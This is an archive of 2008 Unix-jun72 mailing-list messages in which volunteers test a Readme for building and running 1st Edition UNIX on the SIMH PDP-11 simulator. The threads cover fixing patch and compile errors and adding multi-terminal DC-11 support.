Date: Wed, 7 May 2008 11:33:59 +1000
Subject: [Unix-jun72] Readme written: needs checking
Message-ID: <20080507013359.GA78359@minnie.tuhs.org>

I've just written a Readme to describe how to build the kernel and filesystems,
and to run 1st Edition UNIX. Can a few people who haven't actually used the
system please have a go and give me feedback on the Readme.

To fetch the repository:

svn checkout http://unix-jun72.googlecode.com/svn/trunk/ unix72

Then go into the new unix72/ and read the Readme.

Thanks,
	Warren


From cowan at ccil.org  Wed May  7 12:35:49 2008
From: cowan at ccil.org (John Cowan)
Date: Tue, 6 May 2008 22:35:49 -0400
Subject: [Unix-jun72] Readme written: needs checking
In-Reply-To: <20080507013359.GA78359@minnie.tuhs.org>
References: <20080507013359.GA78359@minnie.tuhs.org>
Message-ID: <20080507023549.GV28125@mercury.ccil.org>

Warren Toomey scripsit:
> I've just written a Readme to describe how to build the kernel and filesystems,
> and to run 1st Edition UNIX. Can a few people who haven't actually used the
> system please have a go and give me feedback on the Readme.

The misc/KE.diff file does not work with patch.  I get this:

/opt/simh$ patch --dry-run --verbose <../unix72/misc/KE.diff
Hmm...  Looks like a unified diff to me...
The text leading up to this was:
--------------------------
|--- makefile.~1~       2006-07-07 14:50:52.000000000 -0400
|+++ makefile   2008-05-01 10:43:20.000000000 -0400
--------------------------
Patching file makefile using Plan A...
Hunk #1 FAILED at 83.
1 out of 1 hunk FAILED -- saving rejects to file makefile.rej
Hmm...  The next patch looks like a unified diff to me...
can't find file to patch at input line 15
Perhaps you should have used the -p or --strip option?
The text leading up to this was:
--------------------------
|--- PDP11/pdp11_defs.h.~1~     2006-07-06 11:33:30.000000000 -0400
|+++ PDP11/pdp11_defs.h 2008-05-01 11:12:57.000000000 -0400
--------------------------
File to patch:

-- 
"Well, I'm back."  --Sam        John Cowan <cowan at ccil.org>


From jcapp at anteil.com  Wed May  7 12:44:44 2008
From: jcapp at anteil.com (Jim Capp)
Date: Tue, 06 May 2008 22:44:44 -0400
Subject: [Unix-jun72] Readme written: needs checking
In-Reply-To: <20080507013359.GA78359@minnie.tuhs.org>
References: <20080507013359.GA78359@minnie.tuhs.org>
Message-ID: <4821179C.60100@anteil.com>

Warren,

I've been watching the activity with great interest and have been dying 
to try it out. I will give this a spin.

Jim


Warren Toomey wrote:
> I've just written a Readme to describe how to build the kernel and filesystems,
> and to run 1st Edition UNIX. Can a few people who haven't actually used the
> system please have a go and give me feedback on the Readme.
>
> To fetch the repository:
>
> svn checkout http://unix-jun72.googlecode.com/svn/trunk/ unix72
>
> Then go into the new unix72/ and read the Readme.
>
> Thanks,
> 	Warren
> _______________________________________________
> Unix-jun72 mailing list
> Unix-jun72 at tuhs.org
> https://minnie.tuhs.org/mailman/listinfo/unix-jun72
>
>   



From jcapp at anteil.com  Wed May  7 12:44:44 2008
From: jcapp at anteil.com (Jim Capp)
Date: Tue, 06 May 2008 22:44:44 -0400
Subject: [Unix-jun72] Readme written: needs checking
In-Reply-To: <20080507013359.GA78359@minnie.tuhs.org>
References: <20080507013359.GA78359@minnie.tuhs.org>
Message-ID: <4821179C.60100@anteil.com>

Warren,

I've been watching the activity with great interest and have been dying 
to try it out. I will give this a spin.

Jim


Warren Toomey wrote:
> I've just written a Readme to describe how to build the kernel and filesystems,
> and to run 1st Edition UNIX. Can a few people who haven't actually used the
> system please have a go and give me feedback on the Readme.
>
> To fetch the repository:
>
> svn checkout http://unix-jun72.googlecode.com/svn/trunk/ unix72
>
> Then go into the new unix72/ and read the Readme.
>
> Thanks,
> 	Warren
> _______________________________________________
> Unix-jun72 mailing list
> Unix-jun72 at tuhs.org
> https://minnie.tuhs.org/mailman/listinfo/unix-jun72
>
>   



From newsham at lava.net  Wed May  7 13:05:07 2008
From: newsham at lava.net (Tim Newsham)
Date: Tue, 6 May 2008 17:05:07 -1000 (HST)
Subject: [Unix-jun72] Readme written: needs checking
In-Reply-To: <20080507023549.GV28125@mercury.ccil.org>
References: <20080507013359.GA78359@minnie.tuhs.org>
	<20080507023549.GV28125@mercury.ccil.org>
Message-ID: <Pine.BSI.4.64.0805061704460.20114@malasada.lava.net>

> The misc/KE.diff file does not work with patch.  I get this:

I updated the KE.diff.  Let me know if you still have problems.

> "Well, I'm back."  --Sam        John Cowan <cowan at ccil.org>

Tim Newsham
http://www.thenewsh.com/~newsham/


From wkt at tuhs.org  Wed May  7 13:19:03 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Wed, 7 May 2008 13:19:03 +1000
Subject: [Unix-jun72] Readme written: needs checking
In-Reply-To: <Pine.BSI.4.64.0805061704460.20114@malasada.lava.net>
References: <20080507013359.GA78359@minnie.tuhs.org>
	<20080507023549.GV28125@mercury.ccil.org>
	<Pine.BSI.4.64.0805061704460.20114@malasada.lava.net>
Message-ID: <20080507031903.GA80612@minnie.tuhs.org>

On Tue, May 06, 2008 at 05:05:07PM -1000, Tim Newsham wrote:
> > The misc/KE.diff file does not work with patch.  I get this:
> 
> I updated the KE.diff.  Let me know if you still have problems.

Also, make sure that you unzip -a on Unix, to remove CR (^M) characters.

	Warren


From wkt at tuhs.org  Wed May  7 13:29:13 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Wed, 7 May 2008 13:29:13 +1000
Subject: [Unix-jun72] simh patch fails
In-Reply-To: <20080507023549.GV28125@mercury.ccil.org>
References: <20080507013359.GA78359@minnie.tuhs.org>
	<20080507023549.GV28125@mercury.ccil.org>
Message-ID: <20080507032913.GA80814@minnie.tuhs.org>

On Tue, May 06, 2008 at 10:35:49PM -0400, John Cowan wrote:
> The misc/KE.diff file does not work with patch.  I get this:

Looks like Simh unpacks with lots of ^Ms. Tim has updated the patch.
I've updated the Readme:

1. Download the source code for the Simh simulator from here:
   http://simh.trailing-edge.com/. Unpack it somewhere.

2. Copy misc/pdp11_ke.c into the Simh PDP11/ directory, and apply
   the misc/KE.diff patch to the source code:

        patch -l < misc/KE.diff

3. In Simh, make the BIN/ directory. Do make pdp11 to make the pdp11 simulator.
   Copy the BIN/pdp11 executable into the tools/ directory.

	Warren


From jcapp at anteil.com  Wed May  7 13:36:41 2008
From: jcapp at anteil.com (Jim Capp)
Date: Tue, 06 May 2008 23:36:41 -0400
Subject: [Unix-jun72] Readme written: needs checking
In-Reply-To: <20080507013359.GA78359@minnie.tuhs.org>
References: <20080507013359.GA78359@minnie.tuhs.org>
Message-ID: <482123C9.1070209@anteil.com>

Warren,

The hardest part was patching and compiling simh under Linux. I have 
edited the various files by hand and have attached a new KE.diff.

Also, the build failed at tools/assemv2. I had to supply the files names 
by hand:

root at linux:/var/files/unix72# tools/assemv2
rebuilding...
patching...
vec0407
initorig
v2_as
missing header for unified diff at line 3 of patch
The text leading up to this was:
--------------------------
|--- u0.s Wed May 7 01:20:13 2008
|+++ ../a/u0.s Wed May 7 01:19:38 2008
--------------------------
File to patch:

When I supplied the file names, u0.s, u1.s, u5.s, and ux.s, it patched 
them just fine and I was able to finish the process without a hitch.

Very cool!

Jim


Warren Toomey wrote:
> I've just written a Readme to describe how to build the kernel and filesystems,
> and to run 1st Edition UNIX. Can a few people who haven't actually used the
> system please have a go and give me feedback on the Readme.
>
> To fetch the repository:
>
> svn checkout http://unix-jun72.googlecode.com/svn/trunk/ unix72
>
> Then go into the new unix72/ and read the Readme.
>
> Thanks,
> 	Warren
> _______________________________________________
> Unix-jun72 mailing list
> Unix-jun72 at tuhs.org
> https://minnie.tuhs.org/mailman/listinfo/unix-jun72
>
>   

-------------- next part --------------
A non-text attachment was scrubbed...
Name: KE.diff
Type: text/x-diff
Size: 1401 bytes
Desc: not available
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20080506/69cf12f2/attachment.diff>

From jcapp at anteil.com  Wed May  7 13:36:41 2008
From: jcapp at anteil.com (Jim Capp)
Date: Tue, 06 May 2008 23:36:41 -0400
Subject: [Unix-jun72] Readme written: needs checking
In-Reply-To: <20080507013359.GA78359@minnie.tuhs.org>
References: <20080507013359.GA78359@minnie.tuhs.org>
Message-ID: <482123C9.1070209@anteil.com>

Warren,

The hardest part was patching and compiling simh under Linux. I have 
edited the various files by hand and have attached a new KE.diff.

Also, the build failed at tools/assemv2. I had to supply the files names 
by hand:

root at linux:/var/files/unix72# tools/assemv2
rebuilding...
patching...
vec0407
initorig
v2_as
missing header for unified diff at line 3 of patch
The text leading up to this was:
--------------------------
|--- u0.s Wed May 7 01:20:13 2008
|+++ ../a/u0.s Wed May 7 01:19:38 2008
--------------------------
File to patch:

When I supplied the file names, u0.s, u1.s, u5.s, and ux.s, it patched 
them just fine and I was able to finish the process without a hitch.

Very cool!

Jim


Warren Toomey wrote:
> I've just written a Readme to describe how to build the kernel and filesystems,
> and to run 1st Edition UNIX. Can a few people who haven't actually used the
> system please have a go and give me feedback on the Readme.
>
> To fetch the repository:
>
> svn checkout http://unix-jun72.googlecode.com/svn/trunk/ unix72
>
> Then go into the new unix72/ and read the Readme.
>
> Thanks,
> 	Warren
> _______________________________________________
> Unix-jun72 mailing list
> Unix-jun72 at tuhs.org
> https://minnie.tuhs.org/mailman/listinfo/unix-jun72
>
>   

-------------- next part --------------
A non-text attachment was scrubbed...
Name: KE.diff
Type: text/x-diff
Size: 1401 bytes
Desc: not available
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20080506/69cf12f2/attachment-0001.diff>

From wkt at tuhs.org  Wed May  7 13:43:47 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Wed, 7 May 2008 13:43:47 +1000
Subject: [Unix-jun72] Readme written: needs checking
In-Reply-To: <482123C9.1070209@anteil.com>
References: <20080507013359.GA78359@minnie.tuhs.org>
	<482123C9.1070209@anteil.com>
Message-ID: <20080507034347.GA81221@minnie.tuhs.org>

On Tue, May 06, 2008 at 11:36:41PM -0400, Jim Capp wrote:
> The hardest part was patching and compiling simh under Linux. I have 
> edited the various files by hand and have attached a new KE.diff.

Jim, Tim & I have fixed a few things up. Could you clean out your Simh
build, re-fetch the svn tree from scratch, and try again? The Readme is
also updated.

Thanks for testing it when it was (is?) on the bleeding edge though!

	Warren


From jcapp at anteil.com  Wed May  7 13:59:54 2008
From: jcapp at anteil.com (Jim Capp)
Date: Tue, 06 May 2008 23:59:54 -0400
Subject: [Unix-jun72] Readme written: needs checking
In-Reply-To: <20080507034347.GA81221@minnie.tuhs.org>
References: <20080507013359.GA78359@minnie.tuhs.org>	<482123C9.1070209@anteil.com>
	<20080507034347.GA81221@minnie.tuhs.org>
Message-ID: <4821293A.8000909@anteil.com>

Warren,

I just did a new checkout of unix72 and it build like a charm!!!

I will go back and test the simh build again with the new instructions.

Cheers,

Jim


Warren Toomey wrote:
> On Tue, May 06, 2008 at 11:36:41PM -0400, Jim Capp wrote:
>   
>> The hardest part was patching and compiling simh under Linux. I have 
>> edited the various files by hand and have attached a new KE.diff.
>>     
>
> Jim, Tim & I have fixed a few things up. Could you clean out your Simh
> build, re-fetch the svn tree from scratch, and try again? The Readme is
> also updated.
>
> Thanks for testing it when it was (is?) on the bleeding edge though!
>
> 	Warren
> _______________________________________________
> Unix-jun72 mailing list
> Unix-jun72 at tuhs.org
> https://minnie.tuhs.org/mailman/listinfo/unix-jun72
>
>   

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20080506/4bd1be78/attachment.html>

From jcapp at anteil.com  Wed May  7 14:01:48 2008
From: jcapp at anteil.com (Jim Capp)
Date: Wed, 07 May 2008 00:01:48 -0400
Subject: [Unix-jun72] Readme written: needs checking
In-Reply-To: <20080507034347.GA81221@minnie.tuhs.org>
References: <20080507013359.GA78359@minnie.tuhs.org>	<482123C9.1070209@anteil.com>
	<20080507034347.GA81221@minnie.tuhs.org>
Message-ID: <482129AC.4000903@anteil.com>

Oh, and I see you've fixed the control-J problem. It starts right up to 
a :login: prompt.

Warren Toomey wrote:
> On Tue, May 06, 2008 at 11:36:41PM -0400, Jim Capp wrote:
>   
>> The hardest part was patching and compiling simh under Linux. I have 
>> edited the various files by hand and have attached a new KE.diff.
>>     
>
> Jim, Tim & I have fixed a few things up. Could you clean out your Simh
> build, re-fetch the svn tree from scratch, and try again? The Readme is
> also updated.
>
> Thanks for testing it when it was (is?) on the bleeding edge though!
>
> 	Warren
> _______________________________________________
> Unix-jun72 mailing list
> Unix-jun72 at tuhs.org
> https://minnie.tuhs.org/mailman/listinfo/unix-jun72
>
>   

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20080507/06040797/attachment.html>

From cowan at ccil.org  Wed May  7 15:11:25 2008
From: cowan at ccil.org (John Cowan)
Date: Wed, 7 May 2008 01:11:25 -0400
Subject: [Unix-jun72] Readme written: needs checking
In-Reply-To: <Pine.BSI.4.64.0805061704460.20114@malasada.lava.net>
References: <20080507013359.GA78359@minnie.tuhs.org>
	<20080507023549.GV28125@mercury.ccil.org>
	<Pine.BSI.4.64.0805061704460.20114@malasada.lava.net>
Message-ID: <20080507051125.GX28125@mercury.ccil.org>

Tim Newsham scripsit:

> > The misc/KE.diff file does not work with patch.  I get this:
> 
> I updated the KE.diff.  Let me know if you still have problems.

Okay.  As of revision 200, everything works provided you unzip -a the
simh zipfile and mkdir the BIN directory.

-- 
John Cowan    cowan at ccil.org    http://ccil.org/~cowan
If a traveler were informed that such a man [as Lord John Russell] was
leader of the House of Commons, he may well begin to comprehend how the
Egyptians worshiped an insect.  --Benjamin Disraeli


From jbeisser at gmail.com  Wed May  7 15:22:46 2008
From: jbeisser at gmail.com (Johan Beisser)
Date: Tue, 6 May 2008 22:22:46 -0700
Subject: [Unix-jun72] Readme written: needs checking
In-Reply-To: <20080507013359.GA78359@minnie.tuhs.org>
References: <20080507013359.GA78359@minnie.tuhs.org>
Message-ID: <ca9bbf9a0805062222wb7ff010m46c7cdedda1ea482@mail.gmail.com>

Will do, when I've a spare few hours to mess around with it. That
might be in a day or so.

On Tue, May 6, 2008 at 6:33 PM, Warren Toomey <wkt at tuhs.org> wrote:
> I've just written a Readme to describe how to build the kernel and filesystems,
>  and to run 1st Edition UNIX. Can a few people who haven't actually used the
>  system please have a go and give me feedback on the Readme.
>
>  To fetch the repository:
>
>  svn checkout http://unix-jun72.googlecode.com/svn/trunk/ unix72
>
>  Then go into the new unix72/ and read the Readme.
>
>  Thanks,
>         Warren
>  _______________________________________________
>  Unix-jun72 mailing list
>  Unix-jun72 at tuhs.org
>  https://minnie.tuhs.org/mailman/listinfo/unix-jun72
>



-- 
Johan Beisser
UNIX Contracting: infrastructure design, network security, disaster
planning and recovery


From wkt at tuhs.org  Wed May  7 16:18:04 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Wed, 7 May 2008 16:18:04 +1000
Subject: [Unix-jun72] Readme written: needs checking
In-Reply-To: <20080507051125.GX28125@mercury.ccil.org>
References: <20080507013359.GA78359@minnie.tuhs.org>
	<20080507023549.GV28125@mercury.ccil.org>
	<Pine.BSI.4.64.0805061704460.20114@malasada.lava.net>
	<20080507051125.GX28125@mercury.ccil.org>
Message-ID: <20080507061804.GA90040@minnie.tuhs.org>

On Wed, May 07, 2008 at 01:11:25AM -0400, John Cowan wrote:
> Okay.  As of revision 200, everything works provided you unzip -a the
> simh zipfile and mkdir the BIN directory.

Thanks John.
	Warren


From newsham at lava.net  Wed May  7 17:04:26 2008
From: newsham at lava.net (Tim Newsham)
Date: Tue, 6 May 2008 21:04:26 -1000 (HST)
Subject: [Unix-jun72] DC-11 quick hack
Message-ID: <Pine.BSI.4.64.0805062049550.20114@malasada.lava.net>

Ok, I had some initial success with a quick and dirty hack.

   - apply the attached patch to your simh tree and rebuild pdp11
     and copy it into your tools directory.
     - maps the TTIX device into the DC11 space
     - forces the CSR to return the carry-detect bit as always on
   - edit build/init.s and uncomment some or all of the ttys
     build it and place it on your drive:
     $ vi build/init.s
     $ tools/as build/init.s
     $ cp b.out build/root/etc/init
     $ tools/mkfs -p fs/Readme build/root rf0.dsk rf
   - copy your simh.cfg to simh2.cfg and add these lines before
     the "go" line:
     set ttix en
     set ttix lines=8
     att ttix 5555
   - run "./simh2.cfg"

at this point you can telnet to port 5555 and enjoy a multi user
unix system.  This lacks a lot of polish and needs a bit of work
yet, but its quick and dirty.

You'll have to revert to the old init if you want to use the normal
simh.cfg since the kernel will panic when opening the other ttys
if the DC11 hardware isnt attached.

Tim Newsham
http://www.thenewsh.com/~newsham/
-------------- next part --------------
A non-text attachment was scrubbed...
Name: simh-dc11.patch
Type: application/x-patch
Size: 1220 bytes
Desc: 
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20080506/27ed877e/attachment.bin>

From P.A.Osborne at kent.ac.uk  Wed May  7 18:40:43 2008
From: P.A.Osborne at kent.ac.uk (P.A.Osborne)
Date: Wed, 7 May 2008 09:40:43 +0100
Subject: [Unix-jun72] Readme written: needs checking
In-Reply-To: <20080507013359.GA78359@minnie.tuhs.org>
References: <20080507013359.GA78359@minnie.tuhs.org>
Message-ID: <20080507084043.GQ2793@myrtle.kent.ac.uk>

On Wed, May 07, 2008 at 11:33:59AM +1000, Warren Toomey wrote:
> Then go into the new unix72/ and read the Readme.

On OS X 10.5.3

simh builds fine however:


building apout fails (everything else in tools compiles) with:

luthien:apout pao$ make
gcc -Wall -g -DEMU211 -DEMUV1 -DNATIVES -DDEBUG -DZERO_MEMORY
-DWRITEBASE   -c -o aout.o aout.c
In file included from aout.c:7:
defines.h:87: error: conflicting types for 'int8_t'
/usr/include/i386/types.h:78: error: previous declaration of 'int8_t'
was here
defines.h:89: error: conflicting types for 'int32_t'
/usr/include/i386/types.h:88: error: previous declaration of 'int32_t'
was here
defines.h:92: error: conflicting types for 'u_int32_t'
/usr/include/i386/types.h:90: error: previous declaration of 'u_int32_t'
was here
make: *** [aout.o] Error 1



Paul


From wkt at tuhs.org  Wed May  7 19:28:42 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Wed, 7 May 2008 19:28:42 +1000
Subject: [Unix-jun72] Readme written: needs checking
In-Reply-To: <20080507084043.GQ2793@myrtle.kent.ac.uk>
References: <20080507013359.GA78359@minnie.tuhs.org>
	<20080507084043.GQ2793@myrtle.kent.ac.uk>
Message-ID: <20080507092842.GA94457@minnie.tuhs.org>

On Wed, May 07, 2008 at 09:40:43AM +0100, P.A.Osborne wrote:
> On OS X 10.5.3
> simh builds fine however:
> building apout fails (everything else in tools compiles) with:

Thanks Paul, I'll try to fix it tomorrow. Is there a compiler defined
preprocessor symbol that I can add which covers OSX. For example:

#if !defined(__FreeBSD__) && !defined(__NetBSD__) && \
    !defined(__OpenBSD__) && !defined(__linux__)
# define NEED_INT_N
#endif

Is there __OSX__ or similar? If there is, simply add

	&& !defined(__OSX__)

to that second line, which is around line 71 in tools/apout/defines.h.

Thanks,
	Warren


From wkt at tuhs.org  Wed May  7 19:30:45 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Wed, 7 May 2008 19:30:45 +1000
Subject: [Unix-jun72] DC-11 quick hack
In-Reply-To: <Pine.BSI.4.64.0805062049550.20114@malasada.lava.net>
References: <Pine.BSI.4.64.0805062049550.20114@malasada.lava.net>
Message-ID: <20080507093045.GB94457@minnie.tuhs.org>

On Tue, May 06, 2008 at 09:04:26PM -1000, Tim Newsham wrote:
> Ok, I had some initial success with a quick and dirty hack.
>   - apply the attached patch to your simh tree and rebuild pdp11
>     and copy it into your tools directory.
>     - maps the TTIX device into the DC11 space
>     - forces the CSR to return the carry-detect bit as always on

Tim, on the flip side, can we patch the kernel to:
	- use the TTIX device instead of DC11s
	- always see the carry-detect bit as always on

If we make it a kernel patch, we can remove it if/when simh gets DC11 support.

Cheers,
	Warren


From wkt at tuhs.org  Wed May  7 20:31:24 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Wed, 7 May 2008 20:31:24 +1000
Subject: [Unix-jun72] DC-11 quick hack
In-Reply-To: <Pine.BSI.4.64.0805062049550.20114@malasada.lava.net>
References: <Pine.BSI.4.64.0805062049550.20114@malasada.lava.net>
Message-ID: <20080507103124.GA95546@minnie.tuhs.org>

On Tue, May 06, 2008 at 09:04:26PM -1000, Tim Newsham wrote:
> Ok, I had some initial success with a quick and dirty hack.
>   - apply the attached patch to your simh tree and rebuild pdp11
>     and copy it into your tools directory.
>     - maps the TTIX device into the DC11 space
>     - forces the CSR to return the carry-detect bit as always on

As a third alternative, it's obvious that Simh should have a run-time
config to set the carry-detect bit as always on, e.g

	set ttix carrier=on

In fact, from reading the Simh source it looks like we can already modify the
DL11 address, something like:

	set ttix address ???		# I can't deduce the syntax

So we could modify pdp11_dl.c to have a run-time variable uint16 ttix_carrier
which is default 0, but settable to 004.

If someone can point out the syntax to change the Simh ttix addresses from
17774000-17774177 to 17776500-17776677, I'd be very grateful!

	Warren


From P.A.Osborne at kent.ac.uk  Wed May  7 20:19:52 2008
From: P.A.Osborne at kent.ac.uk (P.A.Osborne)
Date: Wed, 7 May 2008 11:19:52 +0100
Subject: [Unix-jun72] Why is V1 so slow?
In-Reply-To: <20080505114418.GA87292@minnie.tuhs.org>
References: <20080505045229.GA76763@minnie.tuhs.org>
	<20080505091011.GL7293@server.vk2pj.dyndns.org>
	<20080505113632.GA85746@minnie.tuhs.org>
	<20080505114418.GA87292@minnie.tuhs.org>
Message-ID: <20080507101952.GU2793@myrtle.kent.ac.uk>

On Mon, May 05, 2008 at 09:44:18PM +1000, Warren Toomey wrote:
> On Mon, May 05, 2008 at 09:36:32PM +1000, Warren Toomey wrote:
> > I think there are output delays in the kernel.
> 
> There certainly were. I've svn committed a patch to remove these lines
> from u4.s, and that really speeds things up!

But but but surely that will be less authentic?!

:-)

Paul


From wkt at tuhs.org  Wed May  7 21:14:41 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Wed, 7 May 2008 21:14:41 +1000
Subject: [Unix-jun72] Why is V1 so slow?
In-Reply-To: <20080507101952.GU2793@myrtle.kent.ac.uk>
References: <20080505045229.GA76763@minnie.tuhs.org>
	<20080505091011.GL7293@server.vk2pj.dyndns.org>
	<20080505113632.GA85746@minnie.tuhs.org>
	<20080505114418.GA87292@minnie.tuhs.org>
	<20080507101952.GU2793@myrtle.kent.ac.uk>
Message-ID: <20080507111441.GA96482@minnie.tuhs.org>

On Wed, May 07, 2008 at 11:19:52AM +0100, P.A.Osborne wrote:
> But but but surely that will be less authentic?!

True, what was the top baud rate for an ASR33? 110, 300?

	Warren


From P.A.Osborne at kent.ac.uk  Wed May  7 20:19:30 2008
From: P.A.Osborne at kent.ac.uk (P.A.Osborne)
Date: Wed, 7 May 2008 11:19:30 +0100
Subject: [Unix-jun72] Readme written: needs checking
In-Reply-To: <20080507092842.GA94457@minnie.tuhs.org>
References: <20080507013359.GA78359@minnie.tuhs.org>
	<20080507084043.GQ2793@myrtle.kent.ac.uk>
	<20080507092842.GA94457@minnie.tuhs.org>
Message-ID: <20080507101930.GT2793@myrtle.kent.ac.uk>

On Wed, May 07, 2008 at 07:28:42PM +1000, Warren Toomey wrote:
> Is there __OSX__ or similar? If there is, simply add
> 
> 	&& !defined(__OSX__)
> 
> to that second line, which is around line 71 in tools/apout/defines.h.

Warren,

__APPLE__ does part of the trick, then we get:

cc -static -g aout.o branch.o bsd_ioctl.o bsd_signal.o bsdtrap.o cpu.o
debug.o double.o ea.o fp.o itab.o ke11a.o magic.o main.o single.o
v1trap.o v7trap.o -o apout -lm
ld_classic: can't locate file for: -lcrt0.o
collect2: ld returned 1 exit status
make[1]: *** [apout] Error 1


At this point I am in the midst of Apple butchering tools to produce
universal binaries (powerpc and x64), will continue to swear at this
(or just give in and install FreeBSD under VMWare :-) ).

Paul



From brad at heeltoe.com  Wed May  7 23:04:47 2008
From: brad at heeltoe.com (Brad Parker)
Date: Wed, 07 May 2008 09:04:47 -0400
Subject: [Unix-jun72] DC-11 quick hack
In-Reply-To: <20080507103124.GA95546@minnie.tuhs.org> 
References: <Pine.BSI.4.64.0805062049550.20114@malasada.lava.net>
	<20080507103124.GA95546@minnie.tuhs.org>
Message-ID: <10214.1210165487@mini>


I just rebuilt everything from scratch and using the images created by
imgbuild I can't get unix to boot.

If I build the cold image use an old tape it works fine.

Are the rf0.dsk images know to boot clean w/o cold?

(I wonder if it's not just a permissions problem on /etc/init)

-brad

ps: you won't be able to change the TTIX (DL) address in simh without a patch;



From rob at atvetsystems.com  Thu May  8 00:11:42 2008
From: rob at atvetsystems.com (Robert Tillyard)
Date: Wed, 7 May 2008 15:11:42 +0100
Subject: [Unix-jun72] Readme written: needs checking
In-Reply-To: <20080507101930.GT2793@myrtle.kent.ac.uk>
References: <20080507013359.GA78359@minnie.tuhs.org>
	<20080507084043.GQ2793@myrtle.kent.ac.uk>
	<20080507092842.GA94457@minnie.tuhs.org>
	<20080507101930.GT2793@myrtle.kent.ac.uk>
Message-ID: <E153B7D2-A409-403C-8029-A5AF31C08F1A@atvetsystems.com>


On 7 May 2008, at 11:19, P.A.Osborne wrote:

> On Wed, May 07, 2008 at 07:28:42PM +1000, Warren Toomey wrote:
>> Is there __OSX__ or similar? If there is, simply add
>>
>> 	&& !defined(__OSX__)
>>
>> to that second line, which is around line 71 in tools/apout/ 
>> defines.h.
>
> Warren,
>
> __APPLE__ does part of the trick, then we get:
>
> cc -static -g aout.o branch.o bsd_ioctl.o bsd_signal.o bsdtrap.o cpu.o
> debug.o double.o ea.o fp.o itab.o ke11a.o magic.o main.o single.o
> v1trap.o v7trap.o -o apout -lm
> ld_classic: can't locate file for: -lcrt0.o
> collect2: ld returned 1 exit status
> make[1]: *** [apout] Error 1
>
>
> At this point I am in the midst of Apple butchering tools to produce
> universal binaries (powerpc and x64), will continue to swear at this
> (or just give in and install FreeBSD under VMWare :-) ).
>
> Paul

Remove the -static

Regards, Rob.


From P.A.Osborne at kent.ac.uk  Thu May  8 00:29:09 2008
From: P.A.Osborne at kent.ac.uk (P.A.Osborne)
Date: Wed, 7 May 2008 15:29:09 +0100
Subject: [Unix-jun72] Readme written: needs checking
In-Reply-To: <E153B7D2-A409-403C-8029-A5AF31C08F1A@atvetsystems.com>
References: <20080507013359.GA78359@minnie.tuhs.org>
	<20080507084043.GQ2793@myrtle.kent.ac.uk>
	<20080507092842.GA94457@minnie.tuhs.org>
	<20080507101930.GT2793@myrtle.kent.ac.uk>
	<E153B7D2-A409-403C-8029-A5AF31C08F1A@atvetsystems.com>
Message-ID: <20080507142909.GX2793@myrtle.kent.ac.uk>

On Wed, May 07, 2008 at 03:11:42PM +0100, Robert Tillyard wrote:
> Remove the -static

Yes, that works.  Will now continue as time allows.

Thanks

Paul


From brantley at coraid.com  Fri May  9 01:09:12 2008
From: brantley at coraid.com (Brantley Coile)
Date: Thu, 8 May 2008 11:09:12 -0400
Subject: [Unix-jun72] Self supporting
Message-ID: <b6573bc7372210244437bffc63a74ed0@coraid.com>

Wednesday I got V1 running on my Mac.  Great fun!
The level of sophistication impressed people here.
Do you folks think we can move the sources for
the kernel into it and have it be self supporting?




From wkt at tuhs.org  Fri May  9 02:24:50 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Fri, 9 May 2008 02:24:50 +1000
Subject: [Unix-jun72] Self supporting
In-Reply-To: <b6573bc7372210244437bffc63a74ed0@coraid.com>
References: <b6573bc7372210244437bffc63a74ed0@coraid.com>
Message-ID: <20080508162450.GA64589@minnie.tuhs.org>

On Thu, May 08, 2008 at 11:09:12AM -0400, Brantley Coile wrote:
> Wednesday I got V1 running on my Mac.  Great fun!
> The level of sophistication impressed people here.
> Do you folks think we can move the sources for
> the kernel into it and have it be self supporting?

It should be possible. We are now using the V2 assembler to build the
kernel a.out, which means that you could put the kernel source onto the
filesystem and do the assembly on V1 natively.

We need to recreate enough of the boot chain to make self-support possible.
James Markevitch I think was working on this; James, can you give us a
status report?

Cheers,
	Warren


From jam at magic.com  Fri May  9 03:09:19 2008
From: jam at magic.com (James A. Markevitch)
Date: Thu, 8 May 2008 10:09:19 -0700 (PDT)
Subject: [Unix-jun72] Self supporting
Message-ID: <200805081709.KAA01552@mist.magic.com>

> We need to recreate enough of the boot chain to make self-support possible.
> James Markevitch I think was working on this; James, can you give us a
> status report?

It's up and running.  It requires the KE11 fix that Brad made (so that
switch registers work).  I tested against that and can boot without
pre-loading core with anything other than the 32W bootstrap.  It pulls
the bootstrap (bos) and operating system from the high portion of the
RF11 image.

I'll upload this this evening.

James Markevitch


From wkt at tuhs.org  Fri May  9 23:18:15 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Fri, 9 May 2008 23:18:15 +1000
Subject: [Unix-jun72] DC-11 quick hack
In-Reply-To: <Pine.BSI.4.64.0805062049550.20114@malasada.lava.net>
References: <Pine.BSI.4.64.0805062049550.20114@malasada.lava.net>
Message-ID: <20080509131815.GA8761@minnie.tuhs.org>

On Tue, May 06, 2008 at 09:04:26PM -1000, Tim Newsham wrote:
> Ok, I had some initial success with a quick and dirty hack.
>   - apply the attached patch to your simh tree and rebuild pdp11
>     and copy it into your tools directory.
>     - maps the TTIX device into the DC11 space
>     - forces the CSR to return the carry-detect bit as always on

I was going to write a proper DC-11 device for Simh, but Tim's patch to
the DL11 was so small that I decided it would be easier to allow runtime
configuration of the DL11 to behave like a DC11. I've just added misc/DL.diff
to our subversion tree. If you apply this patch to Simh, then you can add
these lines to your simh.cfg to make 8 DC-11 devices:

set ttix en                             ; Enable DC/DL-11 device
set ttix lines=8                        ; We want 8 serial ports
set ttix address=17774000               ; Set the address to be a DC-11
set ttix carrier=dc                     ; Turn on the DC-11 carrier detect bit
set ttox 7b                             ; Set output to be 7-bit, lowercase
att ttix 5555                           ; Attach serial ports to telnet 5555

I hope we can get the change into the Simh tree.

Cheers,
	Warren


From newsham at lava.net  Sat May 10 03:42:28 2008
From: newsham at lava.net (Tim Newsham)
